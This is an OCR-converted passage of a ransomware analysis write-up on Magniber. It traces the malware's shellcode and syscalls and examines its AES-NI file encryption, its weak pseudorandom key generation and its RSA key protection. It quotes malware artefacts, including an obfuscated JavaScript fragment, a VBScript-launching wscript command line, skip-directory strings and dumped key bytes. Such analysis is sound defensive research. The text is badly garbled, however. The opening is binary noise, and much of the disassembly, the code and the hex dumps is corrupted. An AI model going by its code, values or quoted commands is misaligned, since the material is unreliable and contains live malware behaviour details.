70 M 44 am e @0{ ; . 20 D0 BI0YD S0 0 of wl B0 % ml "0 "0 =0 -0 50 ROD°0 I0 10 %e000 00 ED ;0 1" A0 A

2

B
H
5
e (1 &0 Se ¥a "4 Is 8@ , filld — , ¥ @0 =0 £ I0 360 E) <# "0 C, 3 & i) ¥7 A4L0 & 00 Of FI )% H
T SMFA iln i =Bew3[AEETI

D o™ J# $% HS "% s -6 »& B dlxl A( C( /) ) I+, $080 vb €5 tO 0

(=T T ]

#0 00 ED I0 On 5 2 1 6 90 ¢l — OO0 0 <0 G0 X0 Ff1 0> & ¢i O [0 &0 —# EQD 080 &40 10 290 »al 4% - 0- &
[

IHDR [ ¥0 .03 [PLTE &[[an+] [IDATxwi]kKSER32E~BRAT" Ob.l Us:la; 51001 &5>0
k7o E»ReUf_Da d!20MYEVIHRN IAx@EUEAb=o¢1|YRU¢U915[wze ~60 [00Twl 0, 0, 0, O, O, O, D, D,Cc2
I-0[*i¥5i3+8[1D0y2aT208IMi50L5vs IxciB&nlgdy 'EpITY(5 %Ey,%580v)-YEpKAL>80C ¥ u 1.A Admm.ad- C#Rm
(35— # AGIIDKES®?«%*[0£™\&>nleiRIA" r&§ ciXUF x%) 11 I0EE70+50, 16" 1k03; s0g*=: 1eZ@505 ! fMa0] i *BU—v—I, - -RI,
&1 °06BUGOIDN, {sfitw}HIFy $™UA1s\ [EAHa [, 0Sea " #&And " i%pleciOay 24 (AAF ; LENiRd3 =EEG2RGESIESEARNAD -Ovant
5%1el, 32-)GoTIeHAZE# 1 T ICAnaV-At 0] 2400901 5P nEz *£fé " 3138%% ] | U0 G0E0B “EL Blx " c-—(0Téb. {Vo B3, 08 g=>. " /bL
FIHRT-{Z2 0 *[“AIE00BAEHE > 905 HE%TE " =M elBC AVl »v28002x1" :[<\ IpaeiushardEsiow - IEAr—41ne0 " 2 " YY4[yIA5E
iz "% yEOr - 'Ens"80) Zgnu«¥ § TdhI1Fl< J& |[TE408 (T+;5\01 Fh-, 2P T4=TA2P0REh* PaoICEA/—% VIin] | 3tds’ FOiE(
mEta+< [[6£1 A0 ¥ax— 254 £57" Uotz08+2CoRAS rqSZE GF%DA2ERA  AdR ! X1 oo [oﬁcawﬁtniee [5EaRu"H a'"o%uﬁ*r[ig,-i-w
/572 =E3 wegEd Yt LeUxTEr0IJio0I~ (9J«@ nH" ¥¢ HES '[" CONIuHE "B, dxo°N-09 ‘._r.Sl[KN'I[l#Eo O (= | ’S[a@uln

L I s L e s s s s )

2 WHFAIH-TW L bt

-~
L

The same content of obfuscated JavaScript can be found in Magniber’s README:

| [~ README html E3 J
u 1 iS]4naibz[S51l]+naibz[10]+naibz[43]+naibz [3]+naibz[44]+naibz[37]) :<fscript><fbody><fhtml>|

By dumping all the strings from the shellcode, with the help of FLOSS, we can see some more things hinting that

this shellcode belongs to our ransomware:

[...]

FLOSS static Unicode strings
\??2\

0123456789abcdef
0123456789

vieijibfm
mstrxoorvdmynkde
documents and settings
appdata

local settings

sample music

sample pictures

sample videos

tor browser

recycle

windows

Page 20 of 47


https://github.com/mandiant/flare-floss

https://hshrzd.wordpress.com /2023/03/30/magniber-ransomware-analysis/

boot

intel

msocache

perflogs

program files

programdata

recovery

system volume information
winnt

README . html

Users\Public\

wscript.exe /B /E:VBScript.Encode ../../Users/Public/
.mnxu

For example, there is a list of well known directories. Such lists are often used by ransomware to skip particular
system directories. There are also strings related to the dropped VBE script, and the hardcoded ransomware

extension: vieijibfm .
Overall, we can confirm with a high level of a confidence that the captured shellcode belongs to Magniber.

We can run HollowsHunter with option /kill in order to kill all the infected and suspicious processes. To

confirm that the ransomware is no longer active in the system, we can make another experiment with creating a
new file with one of the attacked extensions. This time the new file won’t get encrypted — meaning all the

processes containing Magniber are killed.

The second stage — Magniber’s core

3a2b8ef624b4318fc142a6266c70f88799e80d10566f6dd2d8d74e91d651491a — the shellcode#2

We can make an educated guess that the dumped shellcode is the unpacked Magniber’s core. So, we will continue

our tracing from this point.
In order to trace a shellcode, I have to wrap it as an executable. Similarly to the first stage, the shellcode is 64bit.

There are various ways to make a PE out of a shellcode. I decided to simply add it as a new section to the first

stage executable, and then redirect the Entry Point there:

Page 21 of 47


https://github.com/hasherezade/hollows_hunter/wiki#killing-or-suspending-detected-processes
https://www.virustotal.com/gui/file/3a2b8ef624b4318fc142a6266c70f88799e80d10566f6dd2d8d74e91d651491a/detection

https://hshrzd.wordpress.com /2023/03/30/magniber-ransomware-analysis/

¥ magnil.exe
P DOS Header

DB BB 00 00 FE 7F €7 8B 83 €0 02 00 00 3D 18

AlErs 00 00 72 05 E2 EF 21 FF FF C3 54 SD 50 DE €5

' gnature 483 EA CS DE D5 SA 51 72 50 AO FB €C B4 58 11 2F

'FilCHC!dEI o ) A e e e e A e
' Optional Header

CifUsers/tester/Desktop/hollows_hunter.dumps/pre

Section name: |shellc

Raw size: EDDD
Virtual size: EDDD
read write

Cancel

Adding the section with the dumped shellcode (using PE-bear)

¥ magnil.exe*

swicc
=+ EP = E469

General | DOS Hdr | File Hdr | Optional Hdr | Section Hdrs | 8 Exports

Hex
Ctrl+C

Ctrl+V

3

Redirection of Entry Point to the newly added shellcode

First, I tested if the file executes properly, just by running it as a standalone on my VM. Everything works as
expected: files got encrypted, and the wallpaper changes. So, that indeed it is the main part of the ransomware,

responsible for encryption of the files.

Then I rolled back the VM, and run it once again — this time via TinyTracer. It turned out to work well. However,
the tracing again breaks on the new process creation (used for UAC). It is called via syscall. In contrast to the
previous part, this time the call is made from the static code (saved in the PE section, rather than in a dynamically

allocated memory), so it is easy to patch it out. I did it just by NOP-in the syscall in PE-bear.

Syscall responsible for executing NtCreateUserProcess viewed in PE-bear:
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Disasm: shellc | General | DOS Hdr | File Hdr | Optional Hdr | Section Hdrs | 8 Exports

Hex Disasm

Disasm

Now the tracing proceeds further, to the files encryption.

Just like in the previous case, first I traced it without parameters, to have an overview of what functions are going
to be called, and then added relevant entries into parameters.txt . Some new function has been added,

comparing with the part 1.

ntdl1;NtQueryDirectoryFile;10
ntd11;NtQueryInformationProcess;5
ntdl1;NtSetInformationFile;5

The malware keeps running for quite a while (as the execution is slowed down because of the instrumentation
with Pin), but we can preview the log in the real time with the help of tools like baretail. By looking at the
executed function it seems to be indeed files encryption. Waiting for full system encryption to finish makes no

sense, so I decided to break the execution manually and terminate the process.

Fragment of the resulting tracelog:

2000;section: [shellc]

19694; SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[1] = 0

19694; SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {\xbf\xd8\xd2\x82\x06\x00\x00\x00}
Arg[1] = 0

19694, SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[0] = ptr 0x000000000014fb00 -> {\xc5\xf9\xd2\x82\x06\x00\x00\x00}
Arg[1] = 0
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19694; SYSCALL : 0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {\x19\xfc\xd2\x82\x06\x00\x00\x00}
Arg[1] = 0

19694 ; SYSCALL :0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {m\x06\xd3\x82\x06\x00\x00\x00}
Arg[1] = 0

19694; SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb0@ -> {\xb8\x08\xd3\x82\x06\x00\x00\x00}
Arg[1] = 0

19694; SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {P\x0a\xd3\x82\x06\x00\x00\x00}
Arg[1] = 0

19694; SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {\xc0\x0b\xd3\x82\x06\x00\x00\x00}
Arg[1] = 0

19694; SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {E\x0d\xd3\x82\x06\x00\x00\x00}
Arg[1] = 0

19694; SYSCALL: 0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014fb00 -> {\xc2\x0e\xd3\x82\x06\x00\x00\x00}
Arg[1] = 0

196aa; SYSCALL :0x34(NtDelayExecution)
1969f; SYSCALL:0x19(NtQueryInformationProcess)
1967e;SYSCALL:0x18(NtAllocateVirtualMemory)
NtAllocateVirtualMemory:

Arg[0] = Oxffffffffffffffff = 18446744073709551615

Arg[1] = ptr 0x000000000014fb08 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[2] = 0

Arg[3] = ptr 0x000000000014fb00 -> {\x10\x00\x00\x00\x00\x00\x00\x00}
Arg[4] = 0x14801af200001000 = 1477210304461934592

Arg[5]

0x14d8106200000004 = 1501968523180638212
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196d6; SYSCALL:0x33(NtOpenFile)

NtOpenFile:
Arg[@] = ptr 0x000000000014faf8 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[1] = 0x0000000000100080 = 1048704
Arg[2] = ptr 0x000000000014fa%9 -> L"0"
Arg[3] = ptr 0x000000000014fa58 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[4] = 0x14801af200000001 = 1477210304461930497
Arg[5] = 0x14d8106a00000021 = 1501968523180638241

[...]

By looking at the tracelog, we can clearly see fragments that resemble file encryption. Relevant fragments:

1972e;SYSCALL:0x11(NtQueryInformationFile)

196¢@; SYSCALL:0x55(NtCreateFile)

NtCreateFile:
Arg[@] = ptr 0x000000000014ef08 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[1] = 0x0000000000120116 = 1179926
Arg[2] = ptr 0x000000000014eb88 -> L"0"
Arg[3] = ptr 0x000000000014eaed -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[4] = 0

Arg[5] = 0x0000000000000080 = 128
Arg[6] = 0x0000000000000003 = 3
Arg[7] = 0x0000000000000001 = 1
Arg[8] = 0x0000000000000120 = 288

Arg[9] = 0

1967e;SYSCALL:0x18(NtAllocateVirtualMemory)
NtAllocateVirtualMemory:
Arg[@] = Oxffffffffffffffff = 18446744073709551615

Arg[1] = ptr 0x000000000014ea78 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[2] = 0

Arg[3] = ptr 0x000000000014eac8 -> {\x00\x01\x10\x00\x00\x00\x00\x00}
Arg[4] = 0x0000000000001000 = 4096

Arg[5] = 0x0000000000000004 = 4

1967e;SYSCALL:0x18(NtAllocateVirtualMemory)
NtAllocateVirtualMemory:
Arg[@] = oOxffffffffffffffff = 18446744073709551615

Arg[1] = ptr 0x000000000014eaad -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[2] = 0

Arg[3] = ptr 0x000000000014ea68 -> {\x00\x01\x10\x00\x00\x00\x00\x00}
Arg[4] = 0x0000000000001000 = 4096

Arg[5] = 0x0000000000000004 = 4

196e1;SYSCALL:0x6(NtReadFile)
196¢h; SYSCALL:0x8(NtWriteFile)
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NtWriteFile:

Arg[0] = 0x0000000000000470 = 1136

Arg[1] = 0

Arg[2] = 0

Arg[3] = 0

Arg[4] = ptr 0x000000000014ea38 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[5] = ptr 0x00000000163c0000 -> {\x01 \xad\x13H\xc7w.}

Arg[6] = 0x00000000000005a0 = 1440

Arg[7] = 0

Arg[8] = 0

1967e;SYSCALL:0x18(NtAllocateVirtualMemory)
NtAllocateVirtualMemory:
Arg[@] = oOxffffffffffffffff = 18446744073709551615

Arg[1] = ptr 0x000000000014ea70 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[2] = 0

Arg[3] = ptr 0x000000000014eaa8 -> {\x00\x01\x00\x00\x00\x00\x00\x00}
Arg[4] = 0x0000000000001000 = 4096

Arg[5] = 0x0000000000000004 = 4

19694, SYSCALL:0x31(NtQueryPerformanceCounter)
NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014e890 -> {\x16)\xb4\xb4\x05C\xdO\x92}
Arg[1] = 0

19694; SYSCALL:0x31(NtQueryPerformanceCounter)

NtQueryPerformanceCounter:
Arg[@] = ptr 0x000000000014e890 -> {h\xal\xe1\x9e\x04\x00\x00\x00}
Arg[1] = 0

196cb; SYSCALL:0x8(NtWriteFile)

NtWriteFile:
Arg[0] = 0x0000000000000470 = 1136
Arg[1] = 0
Arg[2] = 0
Arg[3] = 0
Arg[4] = ptr 0x000000000014ea38 -> {\x00\x00\x00\x00\x00\x00\x00\x00}
Arg[5] = ptr 0x0000000013990000 -> {\xe4|\xfa\x96\xeb!\x89\xea}
Arg[6] = 0x0000000000000100 = 256
Arg[7] = 0
Arg[8] = 0

19689; SYSCALL:0x1e(NtFreeVirtualMemory)
196b5; SYSCALL:0xf(NtClose)
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196b5; SYSCALL:0xf(NtClose)
196b5; SYSCALL :0xf(NtClose)

Files are repeatedly read, and then written to. We can see a heavily use of the function

NtQueryPerformanceCounter in each such round. This function is a low-level equivalent of

QueryPerformanceCounter , which MSDN explains in the following way:

Retrieves the current value of the performance counter, which is a high resolution (<1us) time stamp

that can be used for time-interval measurements.

I suspect that this ransomware uses it as a source of entropy, but we will see if this assumption is valid using static

analysis...

Going deeper...
Having the tags generated by Tiny Tracer, we can apply them into IDA, or Ghidra, using the tools mentioned here.

I loaded the Tags into IDA, using IFL plugin, and renamed the functions with syscalls accordingly to what system

function do they execute.

_NEtEnumer:

NtEnumerat
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Now we can follow the interesting functions by their references, to see the whole code context in which they are

executed.

When we come in contact with a new ransomware, often the first questions we ask is, if it is decryptable, and what
is the scale of the damage done. In order to know it, we will analyze what algorithm is used, how the keys are

generated, how the keys are protected, etc.
Encryption algorithm
The function responsible for file encryption can be found by following the references of NtReadFile .

Between the reads and the writes into a file ( NtReadFile and NtWriteFile ) we can find how the read chunk is

being encrypted:

+=

nc_buf, len,

Most of the ransomware authors use AES for file encryption. Magniber follows this trend. But the intresting part
is the implementation. Instead of using a common implementation that works at a higher abstraction level (and i.e.

leverage some of the known libraries, or Windows Crypto API as the old Magniber did) authors made a bold
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choice to go for a low-level one, via the (relatively) new Intel instructions for AES encryption (AES-NI
extension). Using AES-NI allows for much faster encryption, but the cost of is to drop the backward compatibility
with older machines that don’t support it. As well it makes the used algorithm obvious at first look at the

assembly, which is not neccessarily beneficial from the malware author’s perspective.

First, the key is initialized by the function that also has AES-NI based implementation (referenced as

aes_low_level_keygen ):

o _mm_x« , _mm_xor_sil
mma, xmm2, 1 ;
_mm_shuffle_epi

1), _mm_xor_sil28&( _mm_xor_si

c _mm_xor_si 4, _mm_xor_si
4}

_mm_Xor_ _mm_xor_si

, _mm_xor_si | , _mm_xor_si

mm_xor_si _mm_xor_si

y _MM_XO

_mm_xor_sil

3, _mm_xor_si

xmm3, 36h ;
_mm_shuffle_epi

We can see the AES-NI instruction AESKEYGENASSIST used in order to prepare the AES context.
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Then we can see how the next chunk of data is loaded, and encrypted by consecutive AES rounds, using the
instruction AESENC. At the end, an instruction AESENCLAST is used to finalize the encryption.

xmm@, xmmword ptr [rax]; perform one AES round ]

xmm@, xmml; perform last AES round }

AES key generation

The next important point is to check how the AES key gets generated.
The random generator

By observing the flow earlier on, I started to suspect that the function NtQueryPerformanceCounter is used as a

source of entropy, to initialize all sort of pseudorandom variables. Indeed, this native function is incorporated in a

function made for generating random values:

n + table[in
in ||
_random

The function has the following prototype, allowing to supply the range from which the random number should be

selected:

__int64 __fastcall make_pseudo_random(unsigned int min, unsigned int max);

The function comes with a table of 100 pseudorandom DWORDs. Then, a simple algorithm making use of

NtQueryPerformanceCounter is executed, in order to select a random index from this table. Basing on the value
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from the table at this index, and the given min and max values, the final pseudorandom value is calculated. In case

if the calculated value failed to fit in the range, a new attempt is made recursively.

The interesting point at this moment is, that the random value is selected in fact from the hardcoded table. So, if
we consider that our random value must be of size 1 byte, then, instead of the typical range of 255 options to

select from, the range of options narrows down to 100 which is the table size.

Note, that we can see some general similarities with the analogous function from the old edition of Magniber, yet

the implementation differs:

int _ _cdecl get_pseudorandom_char{(int charset_start, int charset_end}
{
if { *(is_seed initialized & 1) )
{
is_seed_initialized |= 1u;
pseudorand_value = GetTickCount(});
H
pseudorand value "= @x5309F61u;
pseudorand_value += GetTickCount{)};
pseudorand_value += pseudorand_walue / 1880;
pseudorand_value &= Bx7FFFFFFFu;
return charset start + pseudorand walue % (charset _end - charset _start + 1});
¥

The random generator used in the old Magniber (2017)
Yet, in the old version this random generator is not used to derive the keys.

We must note that neither GetTickCount, nor NtQueryPerformanceCounter is a cryptographicaly secure source

of entropy. In both cases, the values generated are incremental, not random, and relative to the system start. Yet,

GetTickCount has lower resolution, so finding the initial value that started the series (seed) is much easier.

Generating AES key and IV

The aforementioned function is used in multiple places in the code, but what interests us the most at this point, is

that is is used for the generation of AES key and IV used for files encryption:
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Both AES key and IV are 16 bytes long, which makes it AES 128.
The range from which the values are selected is 1 to 254, which is yet more narrow than typical 0 to 255.

I conducted and experiment by hooking the function, and checking what is the possible set of the values of one
pseudorandom byte from this range. It turns out, that this set has only 67 elements (unlike 255, as it would be for

the full BYTE range):

{5, 9, f, 13, 15, 1d, 20, 23, 2f, 31, 33, 35, 37, 39, 3d, 3f, 41, 45, 47, 49, 4b, 55, 59, 5b, 5d, 6

So, in order to generate the key, we are selecting 16 values out of the 67 elements set, which gives 67A16

permutations. It gives 1.6489096e+29. So, although the key is a bit weakened, it is still impossible to brutforce.

Generated AES key and IV:

- F 2 A I S SLUDW
. 49: BBFE mov rdi,rl4
. OF1F5400 00000000 nop dword ptr ds:[rax+rax],eax
- EA FEOQOOQO00 mov edx,FE
. ED 01000000 MoV ecx,l
. ES8 01D4FFFF call -<magniz.make_pseudo_random:
- 48:8D7F 01 Tea rdi,qword ptr ds:[rdi+1]
. BB4T7 FF mov byte ptr ds:[rdi-1],al
- 48:FFCB dec rbx
- ~ 75 ES jne magni3.130016C30

e 4C: 804D 90 lea r9,qword ptr ss:[rbp-70]
L[ 48:38D55 85 Tea rdx,qword ptr ss:[frbp-75]
& || 00 45:33C0 xor r8d,rsd

r 9=000000000014EF 00
qword ptr ss:[rbp-70]=[000000000014F060]=0

shellc: 0000000180016C4E magni3. exe: $16C48 #1354B

4% Dump 1 B Dump 2 4y Dump 3 B Dump 4 Y Dump 5 & watch 1 |x=] Locals f,;’ Struct

Address Hex ASCII

0000000000400000 5B 33 8F 39|13 62 41 C1|E7 B3 6B 9F|FB 39 2ZF 72 [3.9.1AAC™K.ug/r
0o00000000400010 | 00 00 OO0 00|00 OO OO0 00|00 OO0 OO0 00|00 00 00 00 | ... eannnnenns
0000000000400020 | 00 00 OO0 00|00 OO0 OO0 00|00 OO0 OO0 00|00 00 OO0 00 | ... ieuuunenns
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LR L L e ey

0000000180016 3C
0000000180016C9F
00000001 80016CA0
0000000180016 A5
000000018001 6CAA
00000001 80016CAF
0000000180016CE3
00000001 80016CE6
0000000180016CES
0000000180016CEE
00000001 80016CEBF
00000001800160C3
00000001800160CE
00000001 800160CA
0000000180016CD2
00000001 80016C0DA

[y

49: BBFF

90

BA FEOOQOODOODO

E2 01000000

E& 91DZFFFF

48: 8D7YF 01

8847 FF

48: FFCB

75 ES

4C:8D4D BE

48:8D55 CB

45:33C0

48:83C9 FF

C74424 28 04000000
48:C745 BS 20000000
C74424 20 00100000
ES BF230000

ETRvET

rdi,rl15

e
mowv
nop
mov edx,FE

mov ecx,1

call <magni3.make_pseudo_random-
lea rdi,gword ptr ds: [rdi+1]

mov byte ptr ds:[rdi-1],al

dec rbx

jne magni3.180016CA0

lea ro,qgword ptr ss:[Brbp-45]
lea rdx,qword ptr ss:|Irbp-3z:j
xor ri&d,rsd

or rcx,FFFFFFFFFFEFFFFF
mov dword ptr ss:[Brsp+2s),4
mov gword ptr ss:|frbp-48],20 20: " °
mov dword ptr ss:|frsp+20§,1000

call <magni3._HNtAllocateVirtualMemory:

byte ptr ds:[rdi-1]=[000000000041000F]=79 'y "
e

shellc: 0000000180016CE2 magni3.exe: $16CB3 #138E3

Pobump1l  Plpoump? @Dump3 Y Dump4 B Dumps B watch 1 Iv=l Locals 2 struct
Address Hex ASCII
0000000000410000 | 41 8F 31 81 62 20 B3|41 3D D5 41|79 D5 83 79 |A.1.0b =A=OAyD.¥
0000000000410010 | 00 00 00 00 00 00 0000 00 OO0 00|00 00 00 0D |..ceececaannnnns
0000000000410020 | 00 00 00 00 00 00 00|00 00 00 00|00 00 00 00 [.oueeeeeeeaenans
0000000000410030 | 00 00 00 00 00 00 00|00 00 00 00|00 00 00 00 |.oueeeeeeeaenans

We can further confirm that the generated key was used to initialize the AES context:

i & || 0000000180017 18A 41: B89 10000000 mov rod, 10
I ® [ 0O00000180017 190 41:B8 00001000 mov r&d, 100000
& || 0000000180017196 49: BBCC mov rcx,rl2
I & || 0000000180017199 C785 28040000 0100000 mov dword ptr ss:ffrbp+42s8],1
| & || 0000000180017 1A3 E8 4B8BAFFFF call magni3.180012BF0D
| & || 0000000180017 1A8 O3F0 add esi,eax
——»» | 0000000180017 1AA 45: 8B40 40 mov rcx,qword ptr ss:[rbp+40]
® || 0000000180017 1AE 48: 8095 10010000 Tea rdx,qword ptr ss:irbp+110§
g—e ES8 16F7FFFF call <magniz.aes_low_level_keyvgens
& || 0000000180017 1BA BBCE mov eax,esi
& || 0000000180017 1BC C1ES 04 shr eax,4
& || 0000000180017 1EBF BECO test eax,eax
r—---% [ 00000001800171C1 ~ TE &3 jle magni3.180017226
b @ || 0000000180017 1CS 66: OFGFBD BOOL0O000D movdga xmml,xmmword ptr ss:|[irbp+180]

r CXx=0000000000400000
gword ptr ss:[rbp+40]=[000000000014F110]=0000000000400000

shellc: 0000000180017 144 magnis. exe: $171A4 #13DAA

Boumpt  PWoump2z  @oump3  @Woump4  @oumps & watch1  Ix=llocak 2 struct
Address Hex ASCII
0000000000400000 |58 33 8F 39|13 &2 41 C1|E7 B3 GB 9F |FB 39 2F 72 |L[3.9.1AAC K.09,T
0000000000400010| 00 00 00 00|00 00 00 00|00 DD 00 00|00 00 00 00 |.vveeeaceeeeeen.
nnononnonnannnzal nn on on oolon o0 oo onlon oo o0 onlon on oo on

By supplying the dumped data to CyberChef, we can confirm that it is a valid implementation of AES 128, and the
used mode is CBC .

The same cipher was used by the old Magniber’s edition: yet, its implementation, as well as key generation was

very different.

Protecting AES key and IV

Even if the AES key and IV have been generated properly, there is still one point of a possible weakness, and that

is about how they are protected.

After the encrypted chunks of the file are being written, there is yet another call to NtWriteFile . This time it is

used to save the encrypted AES key and IV.

Page 33 of 47


https://gchq.github.io/CyberChef/

https://hshrzd.wordpress.com /2023/03/30/magniber-ransomware-analysis/

The algorithm used to protect them seems to be a custom implementation of RSA (we will verify its correctness

further on).

® || 0000000180017 320 4C:8B45 458 mov r8,qword ptr ss:[rbp+48]

® || 000 J180017324 48: BD85 COOL10000 Tea rax,qword ptr ss:[frbp+1Cof

] 44:8D4E 20 lea road,qword ptr ds:[rbx+20]

sl 48: 8095 30040000 lea rdx,qword ptr ss:

] 458: 8BCE MoV rCX,rsi

o 45: 594424 Z0 mov qword ptr ss:|frsp+20f,rax

] 66:C785 C1030000 0104 mov word ptr ss:[rbp+3Cil), 1

] C685 C3030000 01 mov byte ptr ss:irbp+3C3f),1
B E&8 1DCEBFFFF €all <magni3.asymmetric_cryptos

] 8B95 30040000 mov edx,dword ptr ss:|frbp+430]

o] 48: BBCE MoV FCX,Fsi

] ES 4FCCFFFF call <magniz.reverse_buffer>

= 33CO XOr eax,eax

r 8=0000000000420000
gword ptr ss:[rbp+48]1=[000000000014F115]=0000000000420000

shellc: 00000001L80017320 magni3. exe: $17320 #13F20

Woumpi  Woump2  WWpump3  Whpump4  WWoumps @ watchi  bellocas s

Address Hex ASCII

Q000000000420000 | 5B 33 BF 32|13 &2 41 C1|EF B3 &B 9F (FB 39 2F 72 [3.92.718AC k. u9/r
0000000000420010 | 41 8F 31 81|F3 62 20 B3 (41 30 D5 41|72 D5 83 79 |A.1.0b =a=0avh.v
0000000000420020 | 00 00 00 OO(00 OO OO OO 00D OO0 OO0 OO(00 00 00 00 | ..ceienransnnnns

The generated key and 1V are stored together in a buffer, and then passed to the asymmetric crypto function.

The ransomware uses attacker’s public key that is hardcoded in the binary:

Page 34 of 47



https://hshrzd.wordpress.com /2023/03/30/magniber-ransomware-analysis/

Eﬂ ragni.shc

offsec(h) 00 01 02 03 04 OS5 06 07 08 09 OR OB OC OD OE OF Decoded cextc
000079C0 .m.y.n.k.d.e...[H
00007TaD0 03 o, F=.N>®.=M: 1H
Q0007eED o= BA 5-I5 [CEn.—5sE" .
0000TSFO 69 n7 eieizi &.°§™m<if
0000TRAOO c1 TE 1745 . EYi=~B0nog
00007R10 oF i TE. EpngiiXB~d /M
00007TRZ0 oF g .cu¥Q.>™] | }fab. 0
00007TR30 5 B 0 i.cv*%gd, ;0. ..&v3
0000TR40 3 g 81 agifa (Y<.d[j.="
O000TRASD 55 % 70 96 c¢ eShaSap—. . ¥Pu
0000TRED o4 5 75 19 gl7S|&Z»u.zo! ;4
00007ATO aF 8 E8 83 BETCO.€pefls. S6
0000TAS0 Fi 51 i(BE. ~PAEQLE . k. .
0000TRASO 18 .>4+0E . THe .GWE /£
0000TARO ) Ger™. 31, 6Mi%\ . w§
0000TABO R&{&.. &.35P1, 4+
00007TACO SaER UL .27, d
Q0007TADD o.Cc.u.m.e.n.t.3

The public key is copied and passed to the function:

® || 0000000180017 2FC 48: 808D C4010000 lea rcx,qword ptr ss:[Brbp+1c4]

® || 0000000180017 303 48: 8090 99000000 Tlea rdx,qword ptr ds:[rax+332]

& (| 0000000180017 204 66 0FL1F4400 00 nop word ptr ds: [rax+rax],ax

® (| 0000000180017 310 OFBEG&D40A movZzx eax,byte ptr ds:[rdx+rcx]

® || 0000000180017314 48: 8049 01 lea rcx,qword ptr ds:[rcx+1]

# || 0000000180017318 8841 FF mov byte ptr ds:[rcx-1],al

& | 0000000180017 31B 48: FFCB dec rbx

® | 0000000180017 31E ~ 75 FO jne magni3.1l80017310

# || 0000000180017320 4C:8B45 458 mov r3,qword ptr ss:|[Erbp+45]

® || 0000000180017324 48: 8D85 COO10000 Tea rax,qword ptr ss:[Brbp+1cof

& (| 000000018001732B 44:8D4B 20 lea rad,qword ptr ds:[rbx+20]

® (| 0000000180017 32F 48: 8095 30040000 Tea rdx,gword ptr ss:[[rbp+430]

& || 0000000180017 336 48: BBCE mov FCxX,rsi

= | 0000000180017339 48: 894424 20 mov gword ptr ssi:[rsp+20],rax

® [ 0000000180017 33E 66:C785 C1030000 0104 mov word ptr ss:frbp+3ci],1

® | 0000000180017 347 C6&85 C3030000 01 mov byte ptr ss:ffrbp+3c3l,1
g ES 1DCEFFFF call <magni3.asymmetric_crypto>

# || 0000000180017 353 BE9S 30040000 mov edx,dword ptr ss:[ rbp+430§

® 0000000180017 359 48: 8BCE mov rcx,rsi

- E8 4FCCFFFF call <magni3.reverse_buffer>

& | 0000000180017 361 33C0 XOr eax,eax

L4

gword ptr ss:[rsp+20]=[000000000014F470]=000000000014F710
r ax=000000000014F710

shellc: 000000018001 7339 magnid.exe: $17339 #13F39

B4 Dump 5

3 watch 1 i struct

ASCII
o A, F=, NE.
»M:1EG.IS[CEU. ..
=£. . Feiei;i D.=§
LM<, i AS, . i=—~
BhH=CR7 . . T KUgNXD
~d /M.ci.Q.7.7]}
fab.0I. cvrskd. jU.
.. ®VaHREATA(. <. d
[j.=.cieeahdsip.
. EPUVEL. 5| ETaU.
zo!;alBE.C ..Eh.
5. §210B, . "POEQP
. k.. >+0dE, K. .G
w=/.s0et. . 1. 6Rj

& a.5

24 Dump 1

Address

00000000001 4F7 10
00000000001 4F7 20
00000000001 4F7 30
00000000001 4F 7 40
00000000001 4F750
00000000001 4F7 60
00000000001 4F7 70
00000000001 4F7 80
00000000001 4F 720
00000000001 4F7AD
00000000001 4F7BO
00000000001 4FFCO
00000000001 4F7DO
00000000001 4FFED
00000000001 4FFFO
00000000001 4FB00
00000000001 4FB10
00000000001 4FB20

Phoump2 Y Dump3 B Dump 4 [x=] Locals

Hex
00
BB
73
29
DO
TE
(1)
o9
5B
11
TA
D5
80
77
ED
50
32
00

08
4D
Cé&
6D
D4
64
EO
54
BA
15
&F
35
OF
B2
5C
&C
B4
0o

00
3A
B3
3C
A4
AD
62
E&
o4
AL
21
1E
GE
2F
ulv]
B&
1F
00

00
&6C
o1
87
BA
2F
o6
7e
3D
5O
3B
AT
0B
83
77
34
15
00

C&
CB
46
F1l
63
4D
D3
E3
92
75
EOQ
40
16
53
AE
2D
00
00

cz2
F3

F7
58
D
21
37
43
iC
AA
BF
E7
42
D&
3E
A9
52
11
o0
o0

3C
CF
&5
94
BE
FA
63
AT
ES
31
CB
42
ZB
74
26
BED
00
00

03
53
&9
cl1
0OF
oF
76
Cc3
65
94
oF
8C
F1
99
7B
Ce
oo
oo

46
5B
BF
53
AF
51
5E
(1]
39
53
c7
2E
E2
18
ES
c4
00
00

E{v]
43
EF
1F
4B
19
25
E2
C3
7C
D2
5E
1z
E2
o4
BT
00
o0

1B
CB
20
8C
BS
B3
&4
28
F&
EG
04
DE
D9
EC
02
D2
o0
o0

4E
75
FO
B&
71l
99
B4
9F
53
EA
B0
FO
58
14
AB
12
00
00

3E
17
oA
69
4E
5D
Al
3C
FA
=1=]
il
co
8B
36
E1
o2
00
00

AS
a7
B2
3D
58
7C
DC
51
70
75
EB
51
18
D1
12
16
